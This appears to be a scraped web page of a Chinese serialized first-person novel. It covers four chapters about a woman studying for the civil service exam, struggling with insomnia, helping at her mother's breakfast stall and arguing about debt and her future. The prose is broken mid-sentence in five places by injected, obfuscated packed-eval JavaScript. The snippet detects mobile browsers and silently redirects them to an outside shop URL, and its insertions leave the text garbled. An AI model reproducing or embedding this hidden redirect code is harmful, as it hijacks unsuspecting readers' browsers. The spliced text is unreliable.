我不知道完整的父母之爱裂成两半有多可怕,却了然自孩童起在漫长的时间中一点一点粘合破碎家庭的苦楚。没有能力就不要去爱人,这一认知贯彻了我的前半生。人有生而为人的责任,亦有为人父母的责任,这与性别无关。女性承担生育,这因性别而无法幸免。可女性也承担养育和家务,在当代如男性一样出去工作承担经济责任的同时,原先的重负遑论分担,有些许减轻吗?没有不流血的革命,既得利益者永远站在光明的阴影下。商人逐利,而爱,受限于人的本性。我不欲从婚姻中得到,也不想被吃得连骨头也不剩。 期许被他人拯救?他人一双手,我亦一双手。我很早就看透,这世上有强壮的男性,亦有弱小的男性,有聪明的男人,也有蠢笨的男人。那些在家中作威作福的男性,不一定能稳定拿回银钱,而在外,他们亦因为自身能力而卑躬屈膝。 可无论如何,男性总要在社会上打拼,找到自己的位置,凭借自身力量谋生。女性生而为人,一半血脉来自父亲,一半血脉来自母亲,在遗传上,不具备任何代际劣势。在能力的这场角逐中,不论男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301312|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性和女性,都有强于自己的,也都有不及自己的,这无关性别,只关乎人这个物种类别。一争高下为时势使然,可凭自己的力量在这世上谋生,如今这世道,没有半分不能。 天赋定高低,那是顶级的相争;凭努力徜徉于世间,这是时代平等赋予每个人的权利。于人,最可怕的,不是没有天赋;也不是借平庸之名,无所事事;而是甘居人下,自暴自弃。自我束缚,天王老子来了也无用。心灵的枷锁,由他人上,却只能由自己解。 那些在婚姻中拥抱相信的女性,她们的明天和非自主选择来到这世上的婴孩一样,只能寄希望于坦途。一朝与坎坷相逢,没有自立的能力,夫家的支持不再,背后可有来自娘家的支援?血缘尚有力不从心的时候,毫无防备地步入婚姻的漩涡,实乃残忍。“所有命运馈赠的礼物,都已在暗中标好了价格”,强势方用金钱买断,弱势方一旦入局,便身不由己,不再有得选。 事到临头,有人认命,有人悔不当初。自己的选择,无从责怪,可年幼的孩子何其无辜?人世间的困难如此之多,没有保障地来到这世上,婴儿若有得选,又有谁乐意?于是,便有了托大父母生恩的说辞。纵使没得选,亦还不清。 若非出于喜欢,我不会考虑恋爱。除非我有能力为孩子提供幸福,我不会将她带来这世上。我仍旧无法面对命运带给我的磨难,我唯一能做的,是坚决捍卫孩子在这世上拥有幸福的权利。这是我于自身苦难给出的答案,亦是我对自己的拯救。每一个孩子,是希望,亦是祝福,无论贫穷还是富有,健康还是疾病,这世上,应是她们收获喜悦与快乐的地方。 我因许多事责怪自己,至今也没有放过自己。可网贷爆雷不在其中。有些事情之所以会发生,是河流汇聚后的决口。命运为我的性格量身定制了战略方针,水能载舟,亦能覆舟,我认了就是。我做不到不出错,考研失利就是失败者的墓碑。做错了事,人却还得继续活下去。至于妈妈拍板抵押房子,以及这回替我偿还贷款,我确实有了重新做人的机会,也于当下获得喘息。可这背后的原因,相比发自内心的爱,我更倾向于源自那世俗束缚她的名为母亲的锁链。爱人之事由心,背弃之事却难以由己。所以她做了好事,却百般煎熬。 亲情于我犹如不知餍足的饕餮,我无以为报,亦无能为力。从学业到事业,却是一分耕耘,一分收获,付出就有回报。我运气不好,后者才是我的基本盘。一个人好好活着是我所有追求的前驱,我洞察不到其中可怕之处,却对流溢出的自在随心向往不止。 38. 2025年7月,第27周 38 [2025年7月,第27周] 晚上在家,约是妈妈收拾完的时间,我收到一条消息。妈妈转发了一个视频,标题是“下半年第一天,祝你马到成功!”视频中还有“一马当先”,“一顺百顺”的祝福语。 我看得一乐,回了个“窗口探头”的表情。 “钱鹄哥哥属相是马!” 她冷不丁地来这一句,我心中犹如一万匹“草泥马”奔腾而过。 我回了个“狗叫啦!狗叫啦!”的表情包,试图驱散此刻笼罩在周身的荒诞。 凌晨三点醒来,我有些茫然,只当自己憋到了,起来去了趟卫生间。心情低落数天,终于在昨天把大姨妈盼到。即使脑子有些糊,我仍感知到其中的不正常,给自己换了一片卫生巾。 寒暑假住在奶奶家,每逢来月经,奶奶总让我们在床上铺毯子,方便清洗。溪辞常常糊在毯子上,我却自此不在夜间流经血,一直憋到早上。 并非我有意如此,不给他人添麻烦的念头已深入骨髓。我不想给他人添麻烦,亦不想给自己添麻烦。之后,即使在自己家,也是如此。或是早上起床如厕,抑或晚起潜意识再也控制不住。 奶奶待我与溪辞没有不同,即使我俩起了争执,她和爷爷从来不掺合。甚至,她还会给我买水壶和秋衣。虽然我不在她身边长大,她却不时记挂着我。 溪辞选择在竹溪入学,爷爷奶奶随之搬到了大伯母单位分的房子。直至溪辞十岁,爷爷奶奶才搬回齐安老房居住。即使溪辞与奶奶相处更为亲昵,毕竟她是奶奶一手带大的,人非草木,孰能无情。 我回到床上,继续睡觉。半梦半醒间,睡意渐渐散去,点亮屏幕,刚刚四点。 我闭上眼睛,心中有几分焦虑,明明还想接着睡,怎么就自己醒了?我点开呼吸应用,意图缓解几分。 天气渐热,加之心中有些烦躁,临出门,我换上短裤。去到店里,妈妈却以担心热油溅出来为由,禁止我如此着装,要求我回家换回长裤。无力感涌上心头,我无从争辩,想着多一事不如少一事,遵从她的命令。 早上炸完面窝,精神有些不济。我把板凳搬到电动三轮旁,趴在车斗的边边上,眯上一会儿。来人买面窝,我听到声音,睁开眼,视线有些泛白,站起来亦有些发昏。 我强撑精神,把面窝装好,递给顾客。那人面相有些出众,面部肌肉不紧绷,松弛感恰到好处,目光柔和,未曾注意到她的嘴角,却能感知到她面带微笑,让人觉得有几分可亲。 她穿着暗色中式两件套雪纺连衣裙,身形不高,上了年纪,却也没有发胖,衣裳把人衬得端庄大气。我把二维码递给她,收了钱,又坐回小板凳。 到了八点,豆皮还剩两份。 “妈,我把豆皮打包,拿回家当午饭哈!”我实在没有力气做饭了。 “好。” 冲完凉,我躺在床上,仍有睡意,却听得心脏扑通、扑通地跳。 我的睡姿比较别扭,从小到大,我都是趴着睡。这些天,伏案做题,颈椎有些遭不住,我稍稍收敛,尝试侧边躺着。 妈妈纠正过我的睡姿,不仅是趴着的姿势不好,她亦要求朝右边侧睡,给出的理由是减轻心脏的压力。我感受不到朝左和朝右的区别,还觉得她管得太宽。怎样入睡快我就怎么睡,睡醒后人也没有什么不好的感觉。 可现在,我放下手机,朝外侧睡,心脏却扑通得厉害。我改变姿势,朝右侧睡,心脏跳动的动静稍有减小,仍让人觉得不适。 不得已,我平躺在床上,胸腔的跳动这才渐渐平缓。 潜意识一晃神,灵台好似被吊醒,意识亦跟着清明起来,我又醒了。睁开眼睛,我点亮屏幕,闭眼不过一刻钟。我不知该作何感想。我继续闭上眼睛,尝试入睡,半个小时过去,脑子里什么都没想,却没有一刻混沌,连似睡非睡都做不到。 我不再挣扎,从床上起来,脑袋胀胀的,人很有些难受。 嘛,相比之前周末一觉睡到下午都难以清醒,人醒着,多出来的时间正好用来学习,这样我还赚了!我一向会开解自己。 坐到书桌前,我点开课程,心中却有几分惶恐,又说不上来为什么。 我暂停课程,意图让自己感觉好些,点开D站,开始刷短视频。 我很少追综艺,在儒伊上班时,《跑男》播得正热,我和同事一起跟风,周六睡到中午起来,点了外卖,就开始刷《跑男》。这之后,对综艺的了解,就局限于热搜上的宣传,对《Offer》略有耳闻。 我先是刷到《我的阿勒泰》的剪辑,看到这样一段对话。 “你知道,那仁夏牧场这么好,为什么牧民还要不停地转场?” “因为他们要给夏牧场时间,让它休息。” “这样子来年的时候呢,牧民才能带着牛羊,更好地回来。” “给他点时间。” 我无需知道上下文,就有所感触。我一直操之过急。从一个工作换到另一个工作,每每刚适应,便因为一些原因,马不停蹄地去往下一个目的地,身体不知道疲倦,人也未意识到需要休息。直到自己再也扛不住。可即使这样,眼下,我还在奔赴下一个目的地。 《Offer》的一期,导师为学员送上了礼物,《我的阿勒泰》原来改编自同名散文集。 我对这本散文集有些好奇。孟璮推荐过一个读书应用,介绍说上面的书很全,体验也不错。我习惯用Kindle,一个原因是电子书比纸质版要便宜,另一个则是买断制的采用,让我什么时候看都行。可是,Kindle已经退出国内市场了,原先买的书已不支持云端下载。 不得不承认,读书应用的体验不错,尤其是试读这一块。我点开应用,开始读《我的阿勒泰》。 《“小鸟”牌香烟》那章,我看得很是乐呵。尤其是“砰砰”,到现在听到这个名字,第一反应仍是手雷,而“砰砰”,是“妈妈”给“瓶子为手雷形状的白酒”命的名。 黄帝统一华夏;嫘祖始蚕,开启农耕文明;彤鱼石烹,人们不再茹毛饮血;仓颉造字,使万物有其名、万事有其载。 巴别通天塔的傲慢,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301313|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上帝降下神罚,从此各地人们的语言不同,相互之间无法沟通,自此各散东西。 可大家看到的物品是相同的,一个共通的描述,轻易地就架起了两个民族的桥梁。 “妈妈”的智慧,流淌在每一件不起眼的小事中。 我看过一个视频,讲的是读“唇”、“舌”、“齿”、“喉”、“腹”这几个字,亦会感受到身体的相应部位。“前”、“中”、“后”三个字读起来,亦让人觉得妙哉。“汉字不仅仅是象形文字,发音的设计亦有其特色,”up主这般讲解,亦让我感同身受。 当我读到“砰砰”,脑海中浮现起这个视频。 一不留神,一个小时过去,我听着李娟讲她在阿勒泰的故事,烟火气冲地一下,涌入了我的生活。 可我想象不到,有一天,看散文,居然会让我心神不宁。 骑着摩托车穿越戈壁滩,这本是件好事,不然,乘坐汽车,花钱不说,还得要赶上趟。可戈壁滩那么广阔,看不见任何地标,只有无边无际的风沙,嗖嗖地灌入衣服,迷着眼睛。顺利的时候,也得四五个小时,可若是漏了油,抑或抛了锚,那情形,我想都不敢想。可偏偏,这样的事情,不时就会发生。以上,还是识途老马会遇上的问题。若是在戈壁滩上迷路,“白天还好说,晚上温度会降到零摄氏度左右”,到那时,生存都会出现问题。 “我做不到”,脑海中出现了这个念头。我不认路,我只会在戈壁滩上徘徊至最后一口气;若是事情不顺,没了油,甚至发动机出了故障,我知道问题在哪,却完全不知道解决的办法。 一股巨大的无能为力涌上心头,在空荡的心野上,凛冽、盘旋、咆哮。“我做不到”,这个声音在我的脑海中回荡。“我什么都做不到了”,这个声音一遍遍将这一认知灌输进我的脑袋。 我停止阅读,缓和了许久,转而看剧版《我的阿勒泰》。 文秀喜欢写作,无论何种处境,做服务员,被同事哄骗,回到小卖部帮忙,这些无碍于她想要写作的心。她既不急切,亦不焦躁,生活成为她写作的养料,而笔下的文字,又是她生命的养料。她的理想,是一种信仰,而非现实的依托。在这样的生态环境中,一切循环运转,如雨滴落到地上,池水又蒸腾到空中,自有力量在其中运作。 可我不同,心中是那般迫切,渴望有能力,希冀能成事,我没想过事败的可能,我只怕投入得不够。我无法甘于平凡,荧荧之光远观可赞其生动,身处其中却只觉微弱。即便是此刻,我在早点铺帮工,却非栖息于此处,而是伺机蛰伏。我可以寻找为何,正如过去的那些年,因为我无法展开行动;可我不能停伫不前,我怕那将息未息的心气,在漫长黑夜后、即刻黎明前,忽地化作无从变更的永夜。我赌不起,亦接受无能。 “别到最后你才发觉,心里头的野兽,还没到最终就已经罢休。” 一六年听着这首歌,我从儒伊辞职。此刻,穿越时空的子弹,将要命中我脑门。 我看不完一部剧,正如我读不完一本书。我关闭窗口,从遐想中逃离,获得片刻喘息。 39. 2025年7月,第27周 39 [2025年7月,第27周] 我离开家,去到妈妈住的地方,她刚洗完澡。 “早上你前脚离开,就有人后脚过来买豆皮。有的时候,事情就是这么巧。东西可以放着没人买,但不能在别人买的时候没得卖。你懂我的意思?” 我点点头,以后不打包就是了。 “怎么了,没补觉吗?”她问道。 “我睡不着。” “居然还有睡不着觉的,我每天一沾床就闭上了眼睛。依我看,你还是不够累。”她打趣地说道。 她看着我,露出母亲对小孩才有的略带包容的目光,对我说:“那你在我这里睡咧?” 妈妈把床尾的衣物挪到床头,横躺在床上。我脱掉鞋子,躺在床尾这头。 “你在想什么?”妈妈问道。 “要是这一次我考不上,怎么办?” “你想怎么办?”妈妈反问道。 我不敢想。只叹了口气。 “唉。”妈妈亦叹了口气。 “考不上的话,你想接着考?” “就算考上了,正常录取,也得到夏天才会正式上班。省考在明年三月份,和国考通知录用的时间接近。而且,除了这两个考试,还有很多事业单位招录,到时候,我都可以试一试。” “那你接着考咧!牛不喝水,我也不能强按头哇!” “谢谢妈妈!”我紧绷的神经,有几分放松。 “你好我才能好哇,乖乖!” “我觉得这话要反过来说,你好我才会好!”我纠正道,因为心安。 “你望着我好,我怎么好得起来?” “我都这个岁数,你还指望我去争什么!你怎么这么没用呀!” 她情绪激动起来。 “非要把人的心情搞得不好,你再满意了咧!” 我从床上坐起来,一声不敢吭。 “你爱睡不睡,我要睡了。” “走的时候把门关好。”说完,她不再理我,刷起了手机。 回家后,我几次平复情绪,终于拢定思绪。 国考能否考上公务员,综合起来,有多个因素作用。桥本和甲状腺有关,我不想就此事确认;父母失信对政审的影响,我搜到一篇官方报道,明确指出“只对失信本人有限制,对其子女并无规定”,“一般不会影响孩子公务员政审”,稍有放心;至于招录比,这个无关其他,国考考察的是综合能力,这是我信心最不足之处。 结果并不比过程重要,我知道这个道理,却难以践行。事关出路,结果怎么可能不重要。可我亦想到,如果考上公务员,一切就可尘埃落定;那么,事情不是在考上公务员那一刻才变好的,而是从我决心跳出现状的那一刻起,事情已开始好转。 当下,我需要做的,是好好准备考试。明年是否还得这样生活,或者出去找工作,现下还未定。如果我踏实备考,考不考得上两说;如果我沉不下心,那才只有一种结果。 人生还未走到绝路上:好好备考,国考考不上,也有省考。如果有幸考上,之后的路就有了稳定。我还没有被完全打败,我还有机会。 努力生活,努力备考,会适应的,我告诉自己。 我继续听课,看完后接着刷题。 下午到店,表哥也在。 “妹妹。”他看到我进来,主动和我打招呼。 “哥。”我亦喊他。 虽然我不想理会大舅妈和外婆,可表哥从始至终,没有掺和到这些事里。妈妈找大舅妈借钱不还,于情于理,反倒是我们家对他有所亏欠。 姜斯承话不多,我以前老说他闷葫芦一个。俩人虽一起长大,我喊他拍篮球、打乒乓球,他也同我一起;看电视我把持遥控器,他感兴趣就一起看,不然,等我觉察到,他已起身离开。我不讲那些,可俩人在外人看来,倒是一副兄友妹恭的模样。 外婆外公年轻时只顾忙着工作,妈妈兄妹三人,全靠老家家一手带大。老家家只外婆一个女儿,又年轻丧夫,一人把外婆拉扯大后,又把三个外孙照看大。我出生那年,老家家去世,一生当中,没享几年福。外婆口中,老家家烟酒不忌,每回上坟,两样缺一不可。 外公退休早,抱上了长孙,便一心一意带在身边自己教。外公原是老师,还是教数学的,不怒自威的模样,让人远远看到就心生敬畏。为人亦有几分风骨,只论对错,对事不对人,讲起道理,点到为止,听懂与否全看个人悟性。不过,他待表哥不同。光我看到的,他教导表哥,可谓是循循善诱,谆谆不倦;外婆口中,他还会追着表哥喂饭。听上去,那时的表哥顽皮好动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301314|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,完全不似如今这般憨厚老实。 在我印象中,最早,只记得妈妈在卫生所的办公室,拿钢尺打表哥手心,因着他背不出乘法口诀表。表哥看上去木讷,却不似我这般愚笨。他懂得躲人,也懂得避人,无论妈妈说什么,他应下就是,不过,俩人一般碰不上。 外公去世后,若说谁的天塌了,那便是表哥。可他的天没有暗多久,工作、成婚、生子,一应事项,妈妈皆替他张罗好。许是这个缘故,他对妈妈怀有感激之情,之前妈妈搬回楼上,他跑上跑下地帮忙搬东西,现在,时不时也到店里坐会;妈妈亦把自己的车子借给他,得空的时候,他便带着两个女儿去商场游乐园玩耍,有时,妈妈也一起去。妈妈年纪也大了,对待孙辈,没有半分昔日对待儿辈的苛刻。第一次看到她哄姜子玥吃饭,我久久不能释怀。 打我记事起,妈妈就不让我坐在她身上。至于吃饭,我端着饭碗直至冷掉,大舅妈洗完碗方顾得上我,这才允许我将碗放下。 “你坐唦!”我指向旁边的凳子。 “我坐了一天,现在站一下挺好。”姜斯承在榕潭派出所做辅警,每天忙得不着家,非常辛苦。可他乐在其中,旁人也不好多说什么。 又过一会儿,他看看时间,和妈妈说道:“孃孃,我走的啊!” 妈妈回过身点点头,“你去!”笑得一脸温和。 “妹妹,我走的。”他亦和我告别。 “拜拜。” 我站在店门口,看着对面的药房,踌躇了一番,和妈妈开口:“妈,你给我买点补血的药吧?我来月经了,人有点不舒服。” 妈妈闻言,把手擦干,拿上手机,从柜台后面走出来。 “买什么呢?” “我也不知道。你去店里问吧。生脉饮也喝完了,你再帮我买一些。” “好。”妈妈看了看两边的车辆,去到药店。 她从店里出来,拎着一大袋,朝我挥了挥手。 她把药拿出来,和我说:“一个是田七胶囊,止疼的,你照着说明书服用;还有一个是益母草冲剂,活血调经,一天两次,一次一袋。你先吃着,效果好的话继续给你买。” 我点点头说:“好。” “晚上就开始吃呀!”她嘱咐道。 “嗯。”我眼眶有些湿润。 40. 2025年7月,第27周 40 [2025年7月,第27周] 经期第三天,身体的变化已可称得上诡异。 考虑到前一天三点醒来,睡前我还喝了一杯牛奶。 人在夜间睡着好好的,突然一阵心慌,胸中似有鼓声擂动,意识回笼,眼睛感到发胀,我拿起手机,此时不过一点,整个人处于发懵状态。 我这是怎么了?我怎么会这个时间点起来?我才睡下没多久呀!昨天白天我甚至都没有补觉! 我为什么会心慌?我完全没有概念。 点开浏览器,我搜索关键字“人凌晨一点醒来”,结果页面居然有不少,全都是精确匹配的相关内容。中医角度的解释是,丑时(一点至三点)肝经当令,血不能归肝,人在后半夜处于浅眠期,则容易被干扰醒来。 我靠在床头,眼睛紧闭,大脑试图消化刚才了解到的信息。 肝经当令出了问题。我的肝为什么会不好?我喝酒不多呀,以前也从来没有出过这类问题呀! 血不能归肝,这个倒有得说。“通则不痛,痛则不通。”经期的时候,如果那段时间吃得不好或者睡得不好,很容易歇菜。经期出血,本就不足的东西,哪经得起每月霍霍一次。出血量小,那就是不通,不通则痛,顺理成章。上班的时候,我要是能够想起,来月经前,我会特意买猪肝回来打汤,权当补血,有一定的作用。 现下正是经期,要是血液不畅导致无法归肝,倒也合理。 对于自己给出的答案,我将信将疑。脑袋昏沉沉的,一片空白;眼睛肿得有些睁不开,我紧闭双眼,思考自己应该在这个时候做些什么。 睡觉!现在才凌晨一点,若是现在起来,怎样都说不去。 可我睡不着哇!意识到这点,我越发难以入眠,心中又开始焦虑。 呼吸!对,我可以调整自己的呼吸!睡不着也没有关系,只要我不焦虑,事情就不算太糟。我点开呼吸应用,将时间增加到三十分钟,点击开始。身体平躺,双手放在腹部,跟着指令呼吸,感受身体的起伏。 共振的背景音乐开始流淌,吸气四秒,呼气六秒,五脏六腑随着气体进入扩大、用力,又随着气体呼出舒展、恢复。冷静、清晰的女音有着镇静、抚慰的功效,焦虑开始退潮。 呼吸的指令不再响起,焦虑不再那么强烈,恐慌的浓度亦有所下降。我再次触碰按钮,开始新一轮的呼吸。重复数次后,感思不再胶着,和身体一同平息下来。闹钟响起,又到了起床去店里帮工的时候。我从床上坐起,缓了缓,下床洗漱。 天还没亮,我拧开旋钮,先把油锅烧热。 一零年前后,榕潭翻修主街道,经过选举,成立前园社区居委会,在主街道的后方,征地还建,开发前园小区。 办事处和集市位于主街道的两头,小区建成后,赶集的路线亦增加。有人还是选择从主街道前往集市,想要便利的,走小路弯过去更快。 俞处长每天经主街道赶集,另一个俞爹爹则见得较少,多半走的小路。 “您早上好啊!”刚过五点,他老人家从集市方向过来,已经要回家了。 “丫头,你怎么不出去上班咧?一直在店里帮忙,也不是个事呀!” “我在家准备考公,顺便过来帮忙。”我如实相告。 “哦,原来是这样。” “你学的什么专业?怎么现在才想着考公?” “计算机。我年纪大了,加班身体受不住。” “房陵那些个工作,个个都加班呐?”他老人家门儿清。 “干我们这行就是这样,技术发展快,落后就要挨打,可不就得拼命往前跑嘛!” “嗯。我孙姑娘考上省实验咧!”他老人家话锋一转,说到自家孙女。 “她还超出录取线十多分哩!” “哇,她好厉害呀!”省实验是上庸数一数二的高中,能去到那里的,都是学霸中的战斗机。 “她在市内读的书?”我问道。 “不是,就在杉湖读的。” 我有些疑惑。“哪个初中呀?” “武陵区初中联合设立的示范班吧,她们班上的学生大多考到了市内的高中。”他如此回答,我听得一头雾水。 不过,这样反而合理。一般情况下,武陵的初中对口武陵的高中。我读书那会,成绩特别优异的,或者家境较为优越的,才会报考市内的高中。 “上庸最好的高中,除了外校,就是省实验。市内的尖子生想考,也没有那么容易!您家里的孙姑娘,想必格外优秀!” “嘿嘿,还可以,还可以。昨天她打电话回来报信,自己也觉得满意。” “好,自己觉得满意就好。” “嗯,那你忙啊!” 他老人家分享完好消息,接着往家走去。 俞家祖辈在榕潭,已盘踞高位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人生在世,求的若是财富与权力,所罗门王临终前交代他的大臣,在他死后,把他的双手伸出棺木之外,在城中绕行一圈;求的若是既寿永昌,享祚绵长,朝代更迭,兴衰交替,小行星撞上地球,恐龙都得灭绝。 “真正的死亡不是离去,而是被人遗忘”。古代文人追求“三不朽”,分别是立德、立功、立言。身躯不再,精神永存,真真才是“生不带来,死不带去”。 文化和精神,在历史的长河中,一代代赓续传承。 41. 2025年7月,第27周 41 [2025年7月,第27周] 白天的气温已升至三十三摄氏度,一早上忙前忙后,汗水不时滴到眼镜上。多亏出门前带了一包纸巾,手帕纸湿了拧干,多次使用后,起球到看不下去,我才更换另一张。说是湿水不易破,可谓名副其实。 去年夏天,我网购了魔术贴纱网,这才免受蚊虫的叮咬。现下在室外,虽然穿着长裤,脚脖子仍露在外面,一上午被咬了好些个包。我先在超市购买驱蚊花露水,却不怎么想喷;后来又买了止痒花露水,抠几下也就忘了。 面试时焦虑,妈妈提到自己在吃B族维生素,说对神经有好处,让我也吃。说明书上写着成人一次三片,妈妈让我一次吃六片,我觉得过了,坚持按说明书上的来。现在吃到第二瓶。 回到家中,想起半夜上涌的焦虑,我不再服用B族维生素。 以往早起出门买早点,我总是兴致勃勃,在早点铺帮工,口鼻充斥着油烟味,对喜欢的拌面,也不大提得起兴趣了。早餐我一般喝稀饭,加之一杯益母草冲剂,躺在床上酝酿睡意,接连跑了三趟卫生间,仍有尿不尽的感觉,可我已经无法尿出来了。 终于入睡,可是,没睡一会,人就清醒过来,睡意不再,人略有些抓狂。九点十七分,我又坐到了书桌前。 今天较之昨天,身上的不适感更甚。我没有发烧,人刷着题,居然会头痛。无奈,我停下笔,不知道做什么好。 《黄帝内经·素问》记载:“心藏神,肺藏魄,肝藏魂,脾藏意,肾藏志,是谓五脏所藏。” 之前赋闲在家,刷到一个视频,对心藏神的解释是,心脏中间有一滴血。心脏通过收缩和舒张,泵送血液完成循环,正常情况下,“新的血进去心脏去取代旧的血,永远有一滴血在中间”,可人若是受到惊吓,“这一滴血瞬间不见了”。一旦藏神的这滴血不见了,人就开始失眠。 文言文讲究微言大义,有些东西,只可意会,难得言传。我觉得自己心脏正中间的那滴血好像缺了位,血液从心间欻欻流过,神无居所,游荡而不知所踪。 “心藏脉,脉舍神。”用另一个视频里的话来说,四个字足以囊括我的问题:心脉受损。 “心气虚则悲。”再换一种说法,就是我的心气散了。 都说“少年心气是不可再生之物”,原以为,自己能意气一世,可现在,心中居然对吃苦有了惧意。 跑步很苦,加班很苦,炸面窝一站就是两个小时很苦,在室外工作很苦,天热很苦,焦虑很苦,学不进去很苦,失眠更是苦上加苦。 我吃不了苦,我怕吃苦。可与苦相对应的,人生也有甜呐!我的甜在哪? 我想不到人生当中有哪些甜头。小时候,别的小孩吃了苦药,大人会喂一颗加应子,把苦味压下去。我尝过一回,却是满嘴的酸涩辛辣。如果吃苦对人生有裨益,一路走来,我那本该堆成小山的“加应子”又在哪里? 是我怕吃苦,还是没有甜?或者无视了甜? 如果我这一生不曾拥有过甜,何其荒谬?脱离实际看问题,虽然自欺欺人,总好过陷入绝境。我宁愿相信,自己记打不记吃,记苦不记甜。人这一生,总会有尝到甜头的时候,即使少,即使不顶用,我更愿意责怪自己对甜的使用方法不正确。人要吃得了苦,也要享得了甜!我对自己说道。如此,才是有苦有甜,人生百般滋味。 无论我现在如何避免消耗,余下的心气就这么点,继续苟延残喘,燃烧殆尽是早晚的事。节流还要开源,小学数学应用题也不是没做过,同时对水池加水和放水,加的更多,水位就能涨得起来。可我要到哪里去找寻新的力量作为支撑?强本相比节用,可难多了。 对此,我没有答案。 去到店里,我没有踏上台阶。大舅妈正和妈妈一起包饺子,妈妈用勺子把馅舀到饺子皮上,大舅妈两手一捏,顺手放入盘中,如此往复。我默默离开,回到家中,吃完午饭,再次去到妈妈住处。 “你怎么又来了咧?”妈妈看到我,有几分惊讶。 “我睡不着觉。”我和妈妈说。 “怎么搞得?哎哟,上来睡来。”妈妈把衣服收拾到一边。 “你说你,把自己搞成这个样子!眼下的两块淤青,像被人打了一样。” 我没有眼袋,可黑眼圈常年都在。一用眼霜就会长脂肪粒,索性放任不管。 “我睡不着觉哇!”言语中已有几分要哭的意味。人欠着瞌睡,脑袋像被丢进甩干机一样,满目狰狞。 “唉。”妈妈叹了一口气。 “人呐,还是不能自私。你说你,除了花钱大手大脚,也没什么不好。你看你爸爸,好生生一个大学生,端的还是铁饭碗,一辈子耀武扬威,现在却落得个让人避之不及的下场。” “你呀,不要学他,要让人分享你的好。” 我抬头看向她,不明所以。 “你说你,三十好几的人了,要钱没有钱,要工作没有工作,之前好歹还有齐安的房子给你兜底,现在房子和车子都被拿去抵押了。你爸爸这个样子也指望不上了,我嘛,你也看到了,趁着手脚利索还能拼命做,等我年纪大了,再干不动了,你说你怎么办?”她目光殷切地看着我。 “你爸爸这个人,你也晓得,他从来没有把我们这个小家放在心上。我也就这个能力,你没有兄弟姐妹,万一我哪天发生点意外走了,这世上,你就没有亲人了。” 这话说得颇让人着急。“你身体好着呢!” “我是说万一。你看你,生个病,身边没有照顾的人,就是做手术找人签字,你能找谁?” “哼。车到山前必有路。”我执拗道。 “唉。”她叹了口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301316|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我这辈子已经拣家伙了。我也看透了,人这一生,无论求什么,总要自己真真切切落到好,其他都是虚的。” “你说你要考公,好,让你去考,可你每天看得进书吗?昨天中午跑过来,今天中午又跑过来。你说你身体不好,那就不考试,算了咧!找点轻松的事做,日子怎么过不是过?” “我在学习。” “我咧,店里还可以赚点,退休金本来就拿来帮你还贷款在,再还个几年,这个坎不就过去了?这之后,就是把退休金都给你,又有什么不行的咧?” “你说你,随便找个工作,不晓得多好!依我看呀,这个试,不消考得。不就是工作嘛,榕潭这么大,还怕找不到个家附近的?陶婷婷在药厂不是做得挺好嘛!她能做,你难道还做不来?我去帮你问一下?” “不要。”我直截了当地拒绝,不加任何思索。 “我要考公。”不管现状如何,前方目标已校准。 “你呀,就是放不下身段。我现在,只要能赚钱,赶紧把债还完,做什么都可以!不怕吃苦!吃苦有什么啊!老话说得好,吃得苦中苦,方为人上人!” “姜老师小课堂又开讲了。”这些年和她沟通,我多少学了点转弯抹角的挖苦。 “唉,我说的话,你又听不进。你咧,玩也不会玩,学也学不进,每天着急,也不是个事。这样,你陪我去麻将室咧?打麻将好玩呐,还可以赢钱!” 一提起麻将,她的眼睛就开始放光。也是,我到店这么长时间,妈妈天天开工,想必有一段时间没有去麻将室了。 “你晓不晓得我在麻将馆碰到了哪个?” 